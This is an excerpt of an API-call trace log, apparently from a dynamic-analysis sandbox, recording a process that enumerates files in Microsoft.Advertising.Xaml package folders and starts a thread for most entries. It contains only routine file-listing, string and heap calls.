	[0078.872] wcscat (in: _Dest=0x47675d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\"
	[0078.872] wcscat (in: _Dest=0x47675d8, _Source="Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0078.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47675d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe20
	[0078.873] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x2db7c28 | out: lpFindFileData=0x2db7c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a93a75, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33ca9b72, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33ca9b72, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3e1998, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1
	[0078.873] wcscmp (_String1="Microsoft.Advertising.dll", _String2=".") returned 1
	[0078.873] wcscmp (_String1="Microsoft.Advertising.dll", _String2="..") returned 1
	[0078.873] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x2db7c28 | out: lpFindFileData=0x2db7c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ca9b72, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33ccfdd0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33ccfdd0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x9598, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising.winmd", cAlternateFileName="")) returned 1
	[0078.873] wcscmp (_String1="Microsoft.Advertising.winmd", _String2=".") returned 1
	[0078.873] wcscmp (_String1="Microsoft.Advertising.winmd", _String2="..") returned 1
	[0078.873] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x47ea8f8
	[0078.873] wcscpy (in: _Dest=0x47ea8f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe"
	[0078.873] wcscat (in: _Dest=0x47ea8f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\"
	[0078.873] wcscat (in: _Dest=0x47ea8f8, _Source="Microsoft.Advertising.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising.winmd"
	[0078.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ea8f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe24
	[0078.873] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x2db7c28 | out: lpFindFileData=0x2db7c28*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb4a05954, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb4a05954, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdfcbee3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0078.873] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0078.873] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0078.874] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4765d10
	[0078.874] wcscpy (in: _Dest=0x4765d10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe"
	[0078.874] wcscat (in: _Dest=0x4765d10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\"
	[0078.874] wcscat (in: _Dest=0x4765d10, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0078.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4765d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe28
	[0078.874] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x2db7c28 | out: lpFindFileData=0x2db7c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33d27ae5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33d27ae5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33d27ae5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0078.874] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0078.874] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0078.874] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x477cf50
	[0078.874] wcscpy (in: _Dest=0x477cf50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe"
	[0078.874] wcscat (in: _Dest=0x477cf50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\"
	[0078.874] wcscat (in: _Dest=0x477cf50, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\resources.pri"
	[0078.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477cf50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe2c
	[0078.875] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x2db7c28 | out: lpFindFileData=0x2db7c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33d27ae5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33d27ae5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33d27ae5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0078.875] FindClose (in: hFindFile=0x2dad4b8 | out: hFindFile=0x2dad4b8) returned 1
	[0078.876] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db7c28) returned 1
	[0078.876] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84c38) returned 1
	[0078.876] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d6d8) returned 1

Thread:
	id = 249
	os_tid = 0x121c

	[0076.770] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x2d865f0
	[0076.770] wcscpy (in: _Dest=0x2d865f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe"
	[0076.770] wcscat (in: _Dest=0x2d865f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\"
	[0076.770] wcscat (in: _Dest=0x2d865f0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\*"
	[0076.770] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db7e90
	[0076.770] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\*", lpFindFileData=0x2db7e90 | out: lpFindFileData=0x2db7e90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33d4dd68, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb523798b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb523798b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad438
	[0078.797] wcscmp (_String1=".", _String2=".") returned 0
	[0078.797] FindNextFileW (in: hFindFile=0x2dad438, lpFindFileData=0x2db7e90 | out: lpFindFileData=0x2db7e90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33d4dd68, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb523798b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb523798b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.797] wcscmp (_String1="..", _String2=".") returned 1
	[0078.797] wcscmp (_String1="..", _String2="..") returned 0
	[0078.797] FindNextFileW (in: hFindFile=0x2dad438, lpFindFileData=0x2db7e90 | out: lpFindFileData=0x2db7e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33d4dd68, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33d4dd68, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33d4dd68, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1318, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0078.797] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0078.797] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0078.797] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x477d970
	[0078.797] wcscpy (in: _Dest=0x477d970, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe"
	[0078.797] wcscat (in: _Dest=0x477d970, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\"
	[0078.797] wcscat (in: _Dest=0x477d970, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0078.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477d970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x558
	[0078.879] FindNextFileW (in: hFindFile=0x2dad438, lpFindFileData=0x2db7e90 | out: lpFindFileData=0x2db7e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33d4dd68, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33d4dd68, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33d4dd68, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xf40, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0078.879] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0078.879] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0078.879] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x477d028
	[0078.879] wcscpy (in: _Dest=0x477d028, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe"
	[0078.879] wcscat (in: _Dest=0x477d028, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\"
	[0078.879] wcscat (in: _Dest=0x477d028, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxManifest.xml"
	[0078.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477d028, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe30
	[0078.879] FindNextFileW (in: hFindFile=0x2dad438, lpFindFileData=0x2db7e90 | out: lpFindFileData=0x2db7e90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33d73fc1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9e44ee0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33d73fc1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0078.879] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0078.879] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0078.880] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47e9f90
	[0078.880] wcscpy (in: _Dest=0x47e9f90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe"
	[0078.880] wcscat (in: _Dest=0x47e9f90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\"
	[0078.880] wcscat (in: _Dest=0x47e9f90, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata"
	[0078.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47e9f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe34
	[0078.880] FindNextFileW (in: hFindFile=0x2dad438, lpFindFileData=0x2db7e90 | out: lpFindFileData=0x2db7e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33d4dd68, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33d73fc1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33d73fc1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x298f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0078.880] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0078.880] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0078.880] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477ed50
	[0078.880] wcscpy (in: _Dest=0x477ed50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe"
	[0078.881] wcscat (in: _Dest=0x477ed50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\"
	[0078.881] wcscat (in: _Dest=0x477ed50, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0078.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477ed50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe38
	[0078.881] FindNextFileW (in: hFindFile=0x2dad438, lpFindFileData=0x2db7e90 | out: lpFindFileData=0x2db7e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33da3978, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33da3978, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33da3978, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0078.881] wcscmp (_String1="logo.png", _String2=".") returned 1
	[0078.881] wcscmp (_String1="logo.png", _String2="..") returned 1
	[0078.881] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x47707a8
	[0078.881] wcscpy (in: _Dest=0x47707a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe"
	[0078.881] wcscat (in: _Dest=0x47707a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\"
	[0078.881] wcscat (in: _Dest=0x47707a8, _Source="logo.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\logo.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\logo.png"
	[0078.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47707a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe3c
	[0078.882] FindNextFileW (in: hFindFile=0x2dad438, lpFindFileData=0x2db7e90 | out: lpFindFileData=0x2db7e90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f2112c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9e45833, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33f47386, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising", cAlternateFileName="MICROS~1.ADV")) returned 1
	[0078.882] wcscmp (_String1="Microsoft.Advertising", _String2=".") returned 1
	[0078.882] wcscmp (_String1="Microsoft.Advertising", _String2="..") returned 1
	[0078.882] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4768540
	[0078.882] wcscpy (in: _Dest=0x4768540, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe"
	[0078.882] wcscat (in: _Dest=0x4768540, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\"
	[0078.882] wcscat (in: _Dest=0x4768540, _Source="Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0078.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4768540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe40
	[0078.883] FindNextFileW (in: hFindFile=0x2dad438, lpFindFileData=0x2db7e90 | out: lpFindFileData=0x2db7e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33dc9bf6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33f2112c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33f2112c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x31ed98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1
	[0078.883] wcscmp (_String1="Microsoft.Advertising.dll", _String2=".") returned 1
	[0078.883] wcscmp (_String1="Microsoft.Advertising.dll", _String2="..") returned 1
	[0078.883] FindNextFileW (in: hFindFile=0x2dad438, lpFindFileData=0x2db7e90 | out: lpFindFileData=0x2db7e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33f2112c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33f2112c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33f2112c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x9598, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising.winmd", cAlternateFileName="")) returned 1
	[0078.883] wcscmp (_String1="Microsoft.Advertising.winmd", _String2=".") returned 1
	[0078.883] wcscmp (_String1="Microsoft.Advertising.winmd", _String2="..") returned 1
	[0078.883] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x47ea9e8
	[0078.883] wcscpy (in: _Dest=0x47ea9e8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe"
	[0078.883] wcscat (in: _Dest=0x47ea9e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\"
	[0078.883] wcscat (in: _Dest=0x47ea9e8, _Source="Microsoft.Advertising.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd"
	[0078.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ea9e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe44
